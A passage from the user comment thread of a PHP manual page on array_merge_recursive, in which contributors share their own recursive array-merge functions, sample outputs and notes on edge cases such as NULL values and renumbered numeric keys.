        if ($a2[$k]=="::delete::"){
            unset($a1[$k]);
            continue;
        };
        if(!array_key_exists($k,$a2)) continue;
        if(is_array($v) && is_array($a2[$k])){
            $a1[$k] = array_overlay($v,$a2[$k]);
        }else{
            $a1[$k] = $a2[$k];
        }

    }
    return $a1;
}
?>
cezarion at cezarion dot net 09-Apr-2014 12:22
An updated version of  array_merge_recursive without overwriting numeric keys from martyniuk :
function array_merge_recursive_new()
 {
    $arrays = func_get_args();
        $base = array_shift($arrays);

        foreach ($arrays as $array) {
            reset($base); //important
            while (list($key, $value) = @each($array)) {
                if (is_array($value) && @is_array($base[$key])) {
                    $base[$key] = array_merge_recursive_new($base[$key], $value);
                } else {
                    if(isset($base[$key]) && is_int($key)) {
                      $key++;
                    }
                    $base[$key] = $value;
                }
            }
        }

    return $base;
  }
robert dot schlak at alcatel-lucent dot com 02-Jul-2012 04:39
The presence of NULLs; here is an example of the issue and a fix. Although it may not be apparent, if using array_merge_recursive in a loop to combine results from a database query or some other function, you can corrupt your result when NULLs are present in the data. I discovered this when migrating from an Oracle DB to a MySQL DB. I had to match the array structure returned from the PHP function calling the DB and got bit. The array_walk call fixed this for me.
This is a simple example that lacks any DB calls and looping. Assume your array had the DB column names (first, last, and age) and you needed to combine the data in a multi-dimensional array in which the column name is an array key with all rows beneath it. The corruption occurs in $a3. If using element position 2, one could create the fictitious 'pete johnson' because of the collapsing of elements.

<?php
print "<pre>Show corruption\\n";
$a1 = array('first'=>'bob', 'last'=>'jones', 'age'=>'48');
$a2 = array('first'=>'sam', 'last'=>'smith', 'age'=>'41');
$a3 = array('first'=>'pete', 'last'=>null, 'age'=>'3');
$a4 = array('first'=>'joe', 'last'=>'johnson', 'age'=>'33');
$a5 = array_merge_recursive($a1,$a2,$a3,$a4);
print_r($a5);

print "Show Fix\\n";
$a1 = array('first'=>'bob', 'last'=>'jones', 'age'=>'48');
$a2 = array('first'=>'sam', 'last'=>'smith', 'age'=>'41');
$a3 = array('first'=>'pete', 'last'=>null, 'age'=>'3');
array_walk($a3, 'null_to_empty');
$a4 = array('first'=>'joe', 'last'=>'johnson', 'age'=>'33');
$a5 = array_merge_recursive($a1,$a2,$a3,$a4);
print_r($a5);
print "</pre>\\n";

function null_to_empty(&$item) {

  $item = is_null($item) ? '' : $item;
}
?>
martyniuk dot vasyl at gmail dot com 24-Dec-2011 09:10
This is my version of array_merge_recursive without overwriting numeric keys:
<?php
function array_merge_recursive_new() {

        $arrays = func_get_args();
        $base = array_shift($arrays);

        foreach ($arrays as $array) {
            reset($base); //important
            while (list($key, $value) = @each($array)) {
                if (is_array($value) && @is_array($base[$key])) {
                    $base[$key] = array_merge_recursive_new($base[$key], $value);
                } else {
                    $base[$key] = $value;
                }
            }
        }

        return $base;
    }
?>
walf 25-May-2011 10:23
There are a lot of examples here for recursion that are meant to behave more like array_merge() but they don't get it quite right or are fairly customised. I think this version is most similar, takes more than 2 arguments and can be renamed in one place:

<?php

function array_merge_recursive_simple() {

    if (func_num_args() < 2) {
        trigger_error(__FUNCTION__ .' needs two or more array arguments', E_USER_WARNING);
        return;
    }
    $arrays = func_get_args();
    $merged = array();
    while ($arrays) {
        $array = array_shift($arrays);
        if (!is_array($array)) {
            trigger_error(__FUNCTION__ .' encountered a non array argument', E_USER_WARNING);
            return;
        }
        if (!$array)
            continue;
        foreach ($array as $key => $value)
            if (is_string($key))
                if (is_array($value) && array_key_exists($key, $merged) && is_array($merged[$key]))
                    $merged[$key] = call_user_func(__FUNCTION__, $merged[$key], $value);
                else
                    $merged[$key] = $value;
            else
                $merged[] = $value;
    }
    return $merged;
}

$a1 = array(
    88 => 1,
    'foo' => 2,
    'bar' => array(4),
    'x' => 5,
    'z' => array(
        6,
        'm' => 'hi',
    ),
);
$a2 = array(
    99 => 7,
    'foo' => array(8),
    'bar' => 9,
    'y' => 10,
    'z' => array(
        'm' => 'bye',
        11,
    ),
);
$a3 = array(
    'z' => array(
        'm' => 'ciao',
    ),
);
var_dump(array_merge($a1, $a2, $a3));
var_dump(array_merge_recursive_simple($a1, $a2, $a3));
var_dump(array_merge_recursive($a1, $a2, $a3));
?>

gives:

array(7) {              array(7) {              array(7) {
  int(1)                  int(1)                  int(1)
  ["foo"]=>               ["foo"]=>               ["foo"]=>
  array(1) {              array(1) {              array(2) {
    [0]=>                   [0]=>                   [0]=>
    int(8)                  int(8)                  int(2)
  }                       }                         [1]=>
  ["bar"]=>               ["bar"]=>                 int(8)
  int(9)                  int(9)                  }
  ["x"]=>                 ["x"]=>                 ["bar"]=>
  int(5)                  int(5)                  array(2) {
  ["z"]=>                 ["z"]=>                   [0]=>
  array(1) {              array(3) {                int(4)
    ["m"]=>                 [0]=>                   [1]=>
    string(4) "ciao"        int(6)                  int(9)
  }                         ["m"]=>               }
  [1]=>                     string(4) "ciao"      ["x"]=>
  int(7)                    [1]=>                 int(5)
  ["y"]=>                   int(11)               ["z"]=>
  int(10)                 }                       array(3) {
}                         [1]=>                     [0]=>
                          int(7)                    int(6)
                          ["y"]=>                   ["m"]=>
                          int(10)                   array(3) {
                        }                             [0]=>
                                                      string(2) "hi"
                                                      [1]=>
                                                      string(3) "bye"
                                                      [2]=>
                                                      string(4) "ciao"
                                                    }
                                                    [1]=>
                                                    int(11)
                                                  }
                                                  [1]=>
                                                  int(7)
                                                  ["y"]=>
                                                  int(10)
                                                }
andyidol at gmail dot com 10-Feb-2011 07:14
Here's my function to recursively merge two arrays with overwrites. Nice for merging configurations.

<?php

function MergeArrays($Arr1, $Arr2)
{
  foreach($Arr2 as $key => $Value)
  {
    if(array_key_exists($key, $Arr1) && is_array($Value))
      $Arr1[$key] = MergeArrays($Arr1[$key], $Arr2[$key]);

    else
      $Arr1[$key] = $Value;

  }

  return $Arr1;

}

?>
lsiq at papotam com 01-Oct-2010 01:17
<?php

//  this function merges an array with the $_SESSION
//  if you omit second parameter it merges to the root
//  if you give one 'path' array it is merged deeply

function arr2sess($arr, $path=array()){
   if (!is_array($arr)) return false;
   foreach($arr as $k => $v){
      if(is_array($arr[$k])) {
          $path[] = $k;
          arr2sess($arr[$k], $path);
      }else{
          $ref = &$_SESSION;
          if($path){
              foreach($path as $val){
                  if(!$ref[$val]) $ref[$val] = array();
                  $ref = &$ref[$val];
              }
          }
          $ref[$k] = $v;
      }
   }
}

session_start();
$x = array(k1=>12, k2=>array(kxx=>'forget me', kyy=>'I was allways here'));     // do you have any of this on $_SESSION
$rpl = array(k2=>array(kxx=>'I am a replaced value',kzz=>'I am a new value'));
arr2sess($x, array('deep','deep','in_session'));                                // you can use this way
arr2sess($x);                                                                   // or this
arr2sess($rpl);                                                                 // to merge parts with the $_SESSION

$w = array(120, q=>array(199,100));                                             // works the same way on numeric keys
arr2sess($w, array('one','two'));
arr2sess($w);

echo '<pre>';
print_r($_SESSION);

?>
mark dot roduner at gmail dot com 13-Feb-2010 11:34
<?php
/**
 * Merges any number of arrays / parameters recursively, replacing
 * entries with string keys with values from latter arrays.
 * If the entry or the next value to be assigned is an array, then it
 * automagically treats both arguments as an array.
 * Numeric entries are appended, not replaced, but only if they are
 * unique
 *
 * calling: result = array_merge_recursive_distinct(a1, a2, ... aN)
**/

function array_merge_recursive_distinct () {
  $arrays = func_get_args();
  $base = array_shift($arrays);
  if(!is_array($base)) $base = empty($base) ? array() : array($base);
  foreach($arrays as $append) {
    if(!is_array($append)) $append = array($append);
    foreach($append as $key => $value) {
      if(!array_key_exists($key, $base) and !is_numeric($key)) {
        $base[$key] = $append[$key];
        continue;
      }
      if(is_array($value) or is_array($base[$key])) {
        $base[$key] = array_merge_recursive_distinct($base[$key], $append[$key]);
      } else if(is_numeric($key)) {
        if(!in_array($value, $base)) $base[] = $value;
      } else {
        $base[$key] = $value;
      }
    }
  }
  return $base;
}
?>
drvali at hotmail dot com 05-Oct-2009 09:31
<?php
/**
 * Merges any number of arrays of any dimensions, the later overwriting
 * previous keys, unless the key is numeric, in whitch case, duplicated
 * values will not be added.
 *
 * The arrays to be merged are passed as arguments to the function.
 *
 * @access public
 * @return array Resulting array, once all have been merged
 */
function array_merge_replace_recursive() {
    // Holds all the arrays passed
    $params = & func_get_args ();

    // First array is used as the base, everything else overwrites on it
    $return = array_shift ( $params );

    // Merge all arrays on the first array
    foreach ( $params as $array ) {
        foreach ( $array as $key => $value ) {
            // Numeric keyed values are added (unless already there)
            if (is_numeric ( $key ) && (! in_array ( $value, $return ))) {
                if (is_array ( $value )) {
                    $return [] = $this->array_merge_replace_recursive ( $return [$$key], $value );
                } else {
                    $return [] = $value;
                }

            // String keyed values are replaced
            } else {
                if (isset ( $return [$key] ) && is_array ( $value ) && is_array ( $return [$key] )) {
                    $return [$key] = $this->array_merge_replace_recursive ( $return [$$key], $value );
                } else {
                    $return [$key] = $value;
                }
            }
        }
    }

    return $return;
}

$a = array (
    "a" => 1,
    "b" => 2,
    'foo',
    'bar'
);
$b = array (
    "a" => 2,
    "c" => 3,
    'foo'
);

$c = array_merge_replace_recursive ( $a, $b );
print_r ( $a );
print_r ( $b );
print_r ( $c );
?>

Output:
Array
(
    [a] => 1
    [b] => 2
    [0] => foo
    [1] => bar
)
Array
(
    [a] => 2
    [c] => 3
    [0] => foo
)
Array
(
    [a] => 2
    [b] => 2
    [0] => foo
    [1] => bar
    [c] => 3
)
gabriel dot sobrinho at gmail dot com 13-Jul-2009 07:56
I refactored the Daniel's function and I got it:

<?php
/**
 * array_merge_recursive does indeed merge arrays, but it converts values with duplicate
 * keys to arrays rather than overwriting the value in the first array with the duplicate
 * value in the second array, as array_merge does. I.e., with array_merge_recursive,
 * this happens (documented behavior):
 *
 * array_merge_recursive(array('key' => 'org value'), array('key' => 'new value'));
 *     => array('key' => array('org value', 'new value'));
 *
 * array_merge_recursive_distinct does not change the datatypes of the values in the arrays.
 * Matching keys' values in the second array overwrite those in the first array, as is the
 * case with array_merge, i.e.:
 *
 * array_merge_recursive_distinct(array('key' => 'org value'), array('key' => 'new value'));
 *     => array('key' => array('new value'));
 *
 * Parameters are passed by reference, though only for performance reasons. They're not
 * altered by this function.
 *
 * @param array $array1
 * @param array $array2
 * @return array
 * @author Daniel <daniel (at) danielsmedegaardbuus (dot) dk>
 * @author Gabriel Sobrinho <gabriel (dot) sobrinho (at) gmail (dot) com>
 */
function array_merge_recursive_distinct ( array &$array1, array &$array2 )
{
  $merged = $array1;

  foreach ( $array2 as $key => &$value )
  {
    if ( is_array ( $value ) && isset ( $merged [$key] ) && is_array ( $merged [$key] ) )
    {
      $merged [$key] = array_merge_recursive_distinct ( $merged [$key], $value );
    }
    else
    {
      $merged [$key] = $value;
    }
  }

  return $merged;
}
?>

This fix the E_NOTICE when the the first array doesn't have the key and the second array have a value which is a array.
jonnybergstrom at googles mail domain dot comm 27-Jun-2009 08:30
This function didn't work for me - or it didn't do what I thought it would. So I wrote the below function, which merges two arrays, and returns the resulting array. The base array is the left one ($a1), and if a key is set in both arrays, the right value has precedence. If a value in the left one is an array and also an array in the right one, the function calls itself (recursion). If the left one is an array and the right one exists but is not an array, then the right non-array-value will be used.

*Any key only appearing in the right one will be ignored*
 - as I didn't need values appearing only in the right in my implementation, but if you want that you could make some fast fix.

function array_merge_recursive_leftsource(&$a1, &$a2) {
    $newArray = array();
    foreach ($a1 as $key => $v) {
        if (!isset($a2[$key])) {
            $newArray[$key] = $v;
            continue;
        }

        if (is_array($v)) {
            if (!is_array($a2[$key])) {
                $newArray[$key] = $a2[$key];
                continue;
            }
            $newArray[$key] = array_merge_recursive_leftsource($a1[$key], $a2[$key]);
            continue;
        }

        $newArray[$key] = $a2[$key];
    }
    return $newArray;
}
michiel at synetic dot nl 22-May-2009 01:54
A small improvement upon the previously posted array_merge_recursive_distinct functions (based on daniel's version). This implementation preserves the parameter input from the original, you can pass an infinite amount of array's to merge.

<?php
function &array_merge_recursive_distinct()
{
    $aArrays = func_get_args();
    $aMerged = $aArrays[0];

    for($i = 1; $i < count($aArrays); $i++)
    {
        if (is_array($aArrays[$i]))
        {
            foreach ($aArrays[$i] as $key => $val)
            {
                if (is_array($aArrays[$i][$key]))
                {
                    $aMerged[$key] = is_array($aMerged[$key]) ? PR::array_merge_recursive_distinct($aMerged[$key], $aArrays[$i][$key]) : $aArrays[$i][$key];
                }
                else
                {
                    $aMerged[$key] = $val;
                }
            }
        }
    }

    return $aMerged;
}
?>
daniel at danielsmedegaardbuus dot dk 19-Mar-2009 02:18
<?php
/**
 * array_merge_recursive does indeed merge arrays, but it converts values with duplicate
 * keys to arrays rather than overwriting the value in the first array with the duplicate
 * value in the second array, as array_merge does. I.e., with array_merge_recursive,
 * this happens (documented behavior):
 *
 * array_merge_recursive(array('key' => 'org value'), array('key' => 'new value'));
 *     => array('key' => array('org value', 'new value'));
 *
 * array_merge_recursive_distinct does not change the datatypes of the values in the arrays.
 * Matching keys' values in the second array overwrite those in the first array, as is the
 * case with array_merge, i.e.:
 *
 * array_merge_recursive_distinct(array('key' => 'org value'), array('key' => 'new value'));
 *     => array('key' => array('new value'));
 *
 * Parameters are passed by reference, though only for performance reasons. They're not
 * altered by this function.
 *
 * @param array $array1
 * @param mixed $array2
 * @return array
 * @author daniel@danielsmedegaardbuus.dk
 */
function &array_merge_recursive_distinct(array &$array1, &$array2 = null)
{
  $merged = $array1;

  if (is_array($array2))
    foreach ($array2 as $key => $val)
      if (is_array($array2[$key]))
        $merged[$key] = is_array($merged[$key]) ? array_merge_recursive_distinct($merged[$key], $array2[$key]) : $array2[$key];
      else
        $merged[$key] = $val;

  return $merged;
}
?>
miniscalope at gmail dot com 04-Feb-2009 03:56
I would merge 2 arrays but keep the values unique in the result array.
I hope this will help...
<?php

function array_merge_recursive_unique($array1, $array2) {

    foreach($array2 AS $k => $v) {
        if(!isset($array1[$k]))
        {
            $array1[$k] = $v;
        }
        else
        {
            if(!is_array($v)){
                if(is_array($array1[$k]))
                {
                    if(!in_array($v,$array1[$k]))
                    {
                        $array1[$k][] = $v;
                    }
                }
                else
                {
                    if($array1[$k] != $v)
                        $array1[$k] = array($array1[$k], $v);
                 }
            }
            else
            {
                $array1[$k] =    array_merge_recursive_unique($array1,$array2[$k]);
            }

        }

    }
      unset($k, $v);
      return $array1;
}

?>
remy dot damour at -please-no-spam-laposte dot net 21-Jan-2009 06:28
If what you want is merge all values of your array that are arrays themselves to get a resulting array of depth one, then you're more looking for array_flatten function.

Unfortunately I did not find such native function in php, here is the one I wrote:

<?php
/**
 * Flatten an array so that resulting array is of depth 1.
 * If any value is an array itself, it is merged by parent array, and so on.
 *
 * @param array $array
 * @param bool $preserver_keys OPTIONAL When true, keys are preserved when mergin nested arrays (=> values with same key get overwritten)
 * @return array
 */
function array_flatten($array, $preserve_keys = false)
{
    if (!$preserve_keys) {
        // ensure keys are numeric values to avoid overwritting when array_merge gets called
        $array = array_values($array);
    }

    $flattened_array = array();
    foreach ($array as $k => $v) {
        if (is_array($v)) {
            $flattened_array = array_merge($flattened_array, call_user_func(__FUNCTION__, $v, $preserve_keys));
        } elseif ($preserve_keys) {
            $flattened_array[$k] = $v;
        } else {
            $flattened_array[] = $v;
        }
    }
    return $flattened_array;
}

// example
$a = array ('k1' => 'a', 'k2' => array('k1' => 'b', 'k4' => array('k3' => 'c')));
var_export(array_flatten($a)); // output: array(0 => 'a', 1 => 'b', 2 => 'c')
var_export(array_flatten($a, true)); // output: array('k1' => 'b', 'k3' => 'c') // first 'k1' value gets overwritten by nested 'k1' value
?>
phil dot kemmeter at gmail dot com 08-Dec-2008 10:45
I've edit this version even a little bit more, so that the function does not override any values, but inserts them at a free key in the array:

function my_array_merge ($arr,$ins) {
    if(is_array($arr))
    {
        if(is_array($ins)) foreach($ins as $k=>$v)
        {
            if(isset($arr[$k])&&is_array($v)&&is_array($arr[$k]))
            {
                $arr[$k] = my_array_merge($arr[$k],$v);
            }
            else {
                // This is the new loop :)
                while (isset($arr[$k]))
                    $k++;
                $arr[$k] = $v;
            }
        }
    }
    elseif(!is_array($arr)&&(strlen($arr)==0||$arr==0))
    {
        $arr=$ins;
    }
    return($arr);
}

Example:

$array1 = array(
    100 => array(30),
    200 => array(20, 30)
);

$array2 = array(
    100 => array(40),
    201 => array(60, 30)
);

print_r(my_array_merge($array1,$array2));

Output with array_merge_recursive:
Array
(
    [0] => Array
        (
            [0] => 30
        )

    [1] => Array
        (
            [0] => 20
            [1] => 30
        )

    [2] => Array
        (
            [0] => 40
        )

)
This is not the result, I expect from a MERGE-Routine...

Output with the current function:

Array
(
    [100] => Array
        (
            [0] => 30
            [1] => 40
        )

    [200] => Array
        (
            [0] => 20
            [1] => 30
        )

)

This is what I want :)
scott dot clark at vizioninteractive dot com 28-Aug-2008 01:55
Needed some way to fuse two arrays together and found a function here (below from thomas) and decided to update it even further to be a little more smart.

<?php
function my_array_merge ($arr,$ins)
    {
        if(is_array($arr))
            {
                if(is_array($ins)) foreach($ins as $k=>$v)
                    {
                        if(isset($arr[$k])&&is_array($v)&&is_array($arr[$k]))
                            {
                                $arr[$k] = my_array_merge($arr[$k],$v);
                            }
                        else $arr[$k] = $v;
                    }
            }
        elseif(!is_array($arr)&&(strlen($arr)==0||$arr==0))
            {
                $arr=$ins;
            }
        return($arr);
    }
?>
thomas at n-o-s-p-a-m dot thoftware dot de 04-May-2008 06:50
This is a simple, three line approach.

Short description: If one of the Arguments isn't an Array, first Argument is returned. If an Element is an Array in both Arrays, Arrays are merged recursively, otherwise the element in $ins will overwrite the element in $arr (regardless if key is numeric or not). This also applys to Arrays in $arr, if the Element is scalar in $ins (in difference to the previous approach).

  function array_insert($arr,$ins) {
    # Loop through all Elements in $ins:
    if (is_array($arr) && is_array($ins)) foreach ($ins as $k => $v) {
      # Key exists in $arr and both Elemente are Arrays: Merge recursively.
      if (isset($arr[$k]) && is_array($v) && is_array($arr[$k])) $arr[$k] = array_insert($arr[$k],$v);
      # Place more Conditions here (see below)
      # ...
      # Otherwise replace Element in $arr with Element in $ins:
      else $arr[$k] = $v;
    }
    # Return merged Arrays:
    return($arr);
  }

In Addition to felix dot ospald at gmx dot de in my opinion there is no need to compare keys with type-casting, as a key always is changed into an integer if it could be an integer. Just try

$a = array('1'=>'1');
echo gettype(key($a));

It will echo 'integer'. So for having Integer-Keys simply appended instead of replaced, add the Line:

  elseif (is_int($k)) $arr[] = $v;

A Condition I used is:

  elseif (is_null($v)) unset($arr[$k]);

So a NULL-Value in $ins will unset the correspondig Element in $arr (which is different to setting it to NULL!). This may be another Addition to felix dot ospald at gmx dot de: The absolute correct way to check for a Key existing in an Array is using array_key_exists() (not needed in the current context, as isset() is combined with is_array()). array_key_exists() will return TRUE even if the Value of the Element is NULL.

And the last one: If you want to use this approach for more than 2 Arrays, simply use this:

  function array_insert_mult($arr) {
    # More than 1 Argument: Append all Arguments.
    if (func_num_args() > 1) foreach (array_slice(func_get_args(),1) as $ins) $arr = array_insert($arr,$ins);
    # Return merged Arrays:
    return($arr);
  }

And if you worry about maintaining References: Simply use $ins[$k] instead of $v when assigning a Value/using a Value as Argument.
felix dot ospald at gmx dot de 26-Feb-2008 11:23
If you desire correct and performant behaviour (in contrast to the other postings) use this code. It works as documented above.
If you want that keys are always perserved and not appended or renumbered if they are numeric comment out the "if (((string) $key) === ((string) intval($key)))" case.
@spambegone at cratemedia dot com: using empty is not right way to check if an item is in the array use isset!

<?php

function array_merge_recursive2($array1, $array2)
{
    $arrays = func_get_args();
    $narrays = count($arrays);

    // check arguments
    // comment out if more performance is necessary (in this case the foreach loop will trigger a warning if the argument is not an array)
    for ($i = 0; $i < $narrays; $i ++) {
        if (!is_array($arrays[$i])) {
            // also array_merge_recursive returns nothing in this case
            trigger_error('Argument #' . ($i+1) . ' is not an array - trying to merge array with scalar! Returning null!', E_USER_WARNING);
            return;
        }
    }

    // the first array is in the output set in every case
    $ret = $arrays[0];

    // merege $ret with the remaining arrays
    for ($i = 1; $i < $narrays; $i ++) {
        foreach ($arrays[$i] as $key => $value) {
            if (((string) $key) === ((string) intval($key))) { // integer or string as integer key - append
                $ret[] = $value;
            }
            else { // string key - megre
                if (is_array($value) && isset($ret[$key])) {
                    // if $ret[$key] is not an array you try to merge an scalar value with an array - the result is not defined (incompatible arrays)
                    // in this case the call will trigger an E_USER_WARNING and the $ret[$key] will be null.
                    $ret[$key] = array_merge_recursive2($ret[$key], $value);
                }
                else {
                    $ret[$key] = $value;
                }
            }
        }
    }

    return $ret;
}

// Examples:

print_r(array_merge_recursive2(array('A','B','C' => array(1,2,3)), array('D','C' => array(1,4))));
/*
Array
(
    [0] => A
    [1] => B
    [C] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
            [3] => 1
            [4] => 4
        )
    [2] => D
)*/

print_r(array_merge_recursive2(array('A','B','0' => array(1,2,3)), array('D','0' => array(1,array(4)))));
/*
Array
(
    [0] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
        )
    [1] => B
    [2] => Array
        (
            [0] => 1
            [1] => Array
                (
                    [0] => 4
                )
        )
)*/

print_r(array_merge_recursive2(array('A' => array('A' => 1)), array('A' => array('A' => array(2)))));
/*
Warning: Argument #1 is not an array - trying to merge array with scalar! Returning null! in ... on line ...
*/

var_dump(array_merge_recursive2(array('A' => array('A' => 2)), array('A' => array('A' => null))));
/*
array(1) { ["A"]=>  array(1) { ["A"]=>  NULL } }
*/

?>
spambegone at cratemedia dot com 12-Feb-2008 02:06
I've tried these array_merge_recursive functions without much success. Maybe it's just me but they don't seem to actually go more than one level deep? As with all things, its usually easier to write your own, which I did and it seems to work just the way I wanted. Anyways, my function hasn't been tested extensively, but it's a simple function, so in hopes that this might be useful to someone else I'm sharing.

Also, the PHP function array_merge_recursive() didn't work for my purposes because it didn't overwrite the values like I needed it to. You know how it works, it just turns it into an array with multiple values... not helpful if your code is expecting one string.

function array_merge_recursive_unique($array1, $array2) {

    // STRATEGY
    /*
    Merge array1 and array2, overwriting 1st array values with 2nd array
    values where they overlap. Use array1 as the base array and then add
    in values from array2 as they exist.

    Walk through each value in array2 and see if a value corresponds
    in array1. If it does, overwrite with second array value. If it's an
    array, recursively execute this function and return the value. If it's
    a string, overwrite the value from array1 with the value from array2.

    If a value exists in array2 that is not found in array1, add it to array1.
    */

    // LOOP THROUGH $array2
    foreach($array2 AS $k => $v) {

        // CHECK IF VALUE EXISTS IN $array1
        if(!empty($array1[$k])) {
            // IF VALUE EXISTS CHECK IF IT'S AN ARRAY OR A STRING
            if(!is_array($array2[$k])) {
                // OVERWRITE IF IT'S A STRING
                $array1[$k]=$array2[$k];
            } else {
                // RECURSE IF IT'S AN ARRAY
                $array1[$k] = array_merge_recursive_unique($array1[$k], $array2[$k]);
            }
        } else {
            // IF VALUE DOESN'T EXIST IN $array1 USE $array2 VALUE
            $array1[$k]=$v;
        }
    }
    unset($k, $v);

    return $array1;
}
paha at paha dot hu 12-Mar-2007 12:02
In this version the values are overwritten only if they are not an array.  If the value is an array, its elements will be merged/overwritten:

// array_merge_recursive which override value with next value.
// based on: http://www.php.net/manual/hu/function.array-merge-recursive.php 09-Dec-2006 03:38
function array_merge_recursive_unique($array0, $array1)
{
    $arrays = func_get_args();
    $remains = $arrays;

    // We walk through each arrays and put value in the results (without
    // considering previous value).
    $result = array();

    // loop available array
    foreach($arrays as $array) {

        // The first remaining array is $array. We are processing it. So
        // we remove it from remaing arrays.
        array_shift($remains);

        // We don't care non array param, like array_merge since PHP 5.0.
        if(is_array($array)) {
            // Loop values
            foreach($array as $key => $value) {
                if(is_array($value)) {
                    // we gather all remaining arrays that have such key available
                    $args = array();
                    foreach($remains as $remain) {
                        if(array_key_exists($key, $remain)) {
                            array_push($args, $remain[$key]);
                        }
                    }

                    if(count($args) > 2) {
                        // put the recursion
                        $result[$key] = call_user_func_array(__FUNCTION__, $args);
                    } else {
                        foreach($value as $vkey => $vval) {
                            $result[$key][$vkey] = $vval;
                        }
                    }
                } else {
                    // simply put the value
                    $result[$key] = $value;
                }
            }
        }
    }
    return $result;
}
randallgirard at hotmail dot com 26-Nov-2006 01:18
I wrote the following for merging arrays, in my project mainly for configuration... Thought someone else might find it usefull.

function array_merge_recursive_keys( $first, $second, $greedy=false) {
   $inter = array_intersect_assoc(array_keys($first), array_keys($second)); # shaired keys
# the idea next, is to strip and append from $second into $first
   foreach ( $inter as $key ) {
   # recursion if both are arrays
      if ( is_array($first[$key]) && is_array($second[$key]) ) {
         $first[$key] = array_merge_recursive_keys($first[$key], $second[$key]);
      }
   # non-greedy array merging:
      else if ( is_array($first[$key] && !$greedy ) ) {
         $first[$key][] = $second[$key];
      }
      else if ( is_array($second[$key]) && !$greedy ) {
         $second[$key][] = $first[$key];
         $first[$key] = $second[$key];
      }
   # overwrite...
      else {
         $first[$key] = $second[$key];
      }
      unset($second[$key]);
   }
# merge the unmatching keys onto first
   return array_merge($first, $second);
}
thiago dot mata at yahoo dot com dot br 30-Sep-2006 12:25
<?php
    function array_merge_recursive_keep_keys( $arrElement1 , $arrElement2 , $intCount = 0 )
    {

        $arrNew = array();

        $arrElement1Keys = array_keys( $arrElement1 );
        $arrElement2Keys = array_keys( $arrElement2 );

        $arrDifKeys1 = array_diff( $arrElement1Keys, $arrElement2Keys );
        $arrDifKeys2 = array_diff( $arrElement2Keys, $arrElement1Keys );
        $arrInter     = array_intersect( $arrElement1Keys , $arrElement2Keys );

        foreach( $arrDifKeys1 as $strKey1)
        {
            $arrNew[ $strKey1 ] = $arrElement1[ $strKey1 ];
        }
        foreach( $arrDifKeys2 as $strKey2)
        {
            $arrNew[ $strKey2 ] = $arrElement2[ $strKey2 ];
        }
        foreach( $arrInter as $strInterKey )
        {
            if( is_array( $arrElement1[ $strInterKey ] ) && is_array( $arrElement2[ $strInterKey ] ) )
            {
                $intCount++;
                $arrNew[ $strInterKey ] = array_merge_recursive_keep_keys( $arrElement1[ $strInterKey ] , $arrElement2[ $strInterKey ] , $intCount );
            }
            elseif( is_array( $arrElement1[ $strInterKey ] ) || is_array( $arrElement2[ $strInterKey ] ) )
            {
                $arrNew[ $strInterKey ][]    =  $arrElement1[ $strInterKey ];
                $arrNew[ $strInterKey ][]    =  $arrElement2[ $strInterKey ];
            }
            else
            {
                $arrNew[ $strInterKey ] = array();
                $arrNew[ $strInterKey ][] = $arrElement1[ $strInterKey ];
                $arrNew[ $strInterKey ][] = $arrElement2[ $strInterKey ];
            }
        }
        return $arrNew;
    }
?>
smilingrasta 07-Jul-2006 10:04
This function tends to reindex arrays, which is not  mentioned in the function description.

I just tried to run that function on a three dimensional array, containing errormessages.
The first dim. contains the severity of the error ('warn', 'crit') the second dim the linenumber (numerical) and the third one consists of errormessages

<?php
# Array printout:
Array
 (
   [warn] => Array  // severity (associative)
    (
      [2] => Array  // linenumber (numerical)
       (
         [0] => "Category does not exist"
         [1] => "Manufacturer does not exist"
       )
    )
 )

?>

If i now merge two or more of those arrays using array_merge_recursive(), the linenumbers are not conserved. Instead of, they are all renumbered, starting with 0.

Just thought anyone may want to know about that. :)
regards, smilingrasta
manicdepressive at mindless dot com 22-Jun-2004 07:30
Please be aware that under circumstances where you have
both the key and value common between the two arrays at a given node,
array_merge_recursive() will behave differently if that value is NULL,
as opposed to a non-null value.

i.e., I expected the results of the first two sections below to
have the same structure, but they don't.
If this might apply to you, please see for yourself.

<pre><?php

$a1 = array('a'=>'b');
$a2 = array('a'=>'b');
$a3 = array_merge_recursive($a1,$a2);
var_export($a3);
echo "\n\n";

$a1 = array('a'=>NULL);
$a2 = array('a'=>NULL);
$a3 = array_merge_recursive($a1,$a2);
var_export($a3);
echo "\n\n";

$a1 = array('a'=>'b');
$a2 = array('a'=>NULL);
$a3 = array_merge_recursive($a1,$a2);
var_export($a3);
echo "\n\n";

?></pre>

This behavior also occurs if the value is the empty array.
In fact, in the above example, interchanging the empty array with
any and all occurences of NULL will yield the same result.

    code till dawn!  -mark
brian at vermonster dot com 25-May-2004 02:44
Here is a fairly simple function that replaces while recursing.

<?php
/**
 * array_merge_recursive2()
 *
 * Similar to array_merge_recursive but keyed-valued are always overwritten.
 * Priority goes to the 2nd array.
 *
 * @static yes
 * @public yes
 * @param $paArray1 array
 * @param $paArray2 array
 * @return array
 */
function array_merge_recursive2($paArray1, $paArray2)
{
    if (!is_array($paArray1) or !is_array($paArray2)) { return $paArray2; }
    foreach ($paArray2 AS $sKey2 => $sValue2)
    {
        $paArray1[$sKey2] = array_merge_recursive2(@$paArray1[$sKey2], $sValue2);
    }
    return $paArray1;
}

?>

Examples:
<?php

$array1 = array(
    'liquids' => array(
        'water' => array('cold', 'fizzy', 'clean')
        ,'beer' => 'warm'
    )
);

$array2 = array(
    'liquids' => array(
        'water' => 'hot'
        ,'milk' => 'wet'
    )
);

$result1 = array_merge_recursive2($array1, $array2);
$result2 = array_merge_recursive2($array2, $array1);
?>

Result 1 is:
Array
(
    [liquids] => Array
        (
            [water] => hot
            [beer] => warm
            [milk] => wet
        )
)

Result 2 is:
Array
(
    [liquids] => Array
        (
            [water] => Array
                (
                    [0] => cold
                    [1] => fizzy
                    [2] => clean
                )

            [milk] => wet
            [beer] => warm
        )
)
paska at kios dot sk 04-Mar-2004 02:18
This emulates replace of $_REQUEST according to variable_order=GPC.
<?
    function array_merge_replace($array, $newValues) {
        foreach ($newValues as $key => $value ) {
            if (is_array($value)) {
                if (!isset($array[$key])) {
                    $array[$key] = array();
                }
                $array[$key] = array_merge_replace($array[$key], $value);
            } else {
                $array[$key] = $value;
            }
        }
        return $array;
    }

    $_REQUEST = array_merge_replace($_REQUEST, $_GET);
    $_REQUEST = array_merge_replace($_REQUEST, $_POST);
    $_REQUEST = array_merge_replace($_REQUEST, $_COOKIE);
?>

Useful with stripping backslashes at beginning of main include file:
<?
if (get_magic_quotes_gpc() == 1) {

